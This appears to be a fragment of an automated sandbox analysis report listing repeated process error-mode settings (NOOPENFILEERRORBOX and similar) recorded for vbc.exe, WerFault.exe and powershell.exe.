Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
